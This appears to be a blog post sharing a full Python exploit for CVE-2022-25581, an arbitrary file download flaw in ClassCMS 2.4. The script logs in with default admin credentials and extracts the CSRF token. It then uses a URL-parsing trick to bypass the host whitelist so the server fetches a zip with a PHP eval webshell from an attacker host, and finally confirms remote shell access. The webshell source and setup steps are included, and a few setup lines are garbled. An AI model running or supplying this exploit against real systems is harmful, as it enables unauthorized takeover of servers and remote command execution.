
Python exploit script for CVE-2022-25581 (ClassCMS 2.4 arbitrary file download) that automates login, CSRF token extraction, malicious zip upload with webshell, and remote shell access via URL parsing bypass.
Can't find it anywhere on the web, leaving a backup, Python exploit script, used to automate the following steps:
csrf and token)shell.zip)/admin666)admin/adminThe core of this arbitrary file download vulnerability is constructing a URL in a special format:
http://@<ip>:[email protected]/shell.zip
It exploits the difference in URL parsing between PHP's parse_url() and curl, bypassing the host whitelist check.
import requests
from bs4 import BeautifulSoup
# =============== Configuration Information ===============
target_url = "http://192.168.12.144"
admin_path = "/admin666" # Backend path
login_url = f"{target_url}{admin_path}?do=login"
download_url = f"{target_url}{admin_path}?do=shop:downloadClass&ajax=1"
# Your attack server address (must be reachable by the target)
attacker_ip = "192.168.12.144"
attacker_port = 80
shell_zip_url = f"http://@{attacker_ip}:{attacker_port}@classcms.com/shell.zip"
# Webshell filename
webshell_name = "shell.php"
webshell_path = f"{target_url}/class/shell/{webshell_name}"
# Login credentials
username = "admin"
password = "admin"
# ========================================
# Set up session to maintain cookies
session = requests.Session()
# ================ Step 1: Log in to backend ================
def login():
print("[*] Logging in to backend...")
data = {
"username": username,
"password": password
}
res = session.post(login_url, data=data)
if "exit" in res.text:
print("[+] Login successful!")
return True
else:
print("[-] Login failed. Please check username/password or backend path.")
return False
# ================ Step 2: Retrieve csrf token ================
def get_csrf():
url = f"{target_url}{admin_path}?do=shop:index&action=detail&classhash=debugswitch"
res = session.get(url)
soup = BeautifulSoup(res.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'csrf'})
if csrf_input:
return csrf_input['value']
else:
print("[-] Unable to extract csrf token!")
return None
# ================ Step 3: Upload compressed archive and decompress ================
def upload_shell(csrf_token):
print(f"[*] Uploading {shell_zip_url} ...")
payload = {
"classhash": "shell",
"url": shell_zip_url,
"csrf": csrf_token
}
headers = {
"User-Agent": "Mozilla/5.0",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
res = session.post(download_url, data=payload, headers=headers)
if res.status_code == 200 and "download completed" in res.text:
print("[+] Upload successful!")
return True
else:
print("[-] Upload failed, response content:", res.text)
return False
# ================ Step 4: Attempt to access webshell ================
def check_webshell():
print(f"[*] Attempting to access webshell: {webshell_path}")
try:
res = session.get(webshell_path, timeout=5)
if res.status_code == 200:
print("[+] Successfully accessed webshell. You can now connect with Chopper/AntSword!")
print(f"[+] URL: {webshell_path}")
else:
print("[-] Webshell not found or not executed.")
except Exception as e:
print("[-] Connection error:", str(e))
# ================ Main Function ================
if __name__ == "__main__":
if login():
csrf = get_csrf()
if csrf:
if upload_shell(csrf):
check_webshell()
Create shell.php with the following content:
<?php @eval($_POST['cmd']); ?>
Pack it into shell.zip, ensuring the structure has shell.php directly in the root directory.
Place it on your attack server, making sure it can be accessed via the following URL:
http://192.168.12.144/shell.zip
pip install requests beautifulsoup4
shell.zip for download.python exploit_classcms.py
shell.zip is downloadable normally.admin_path.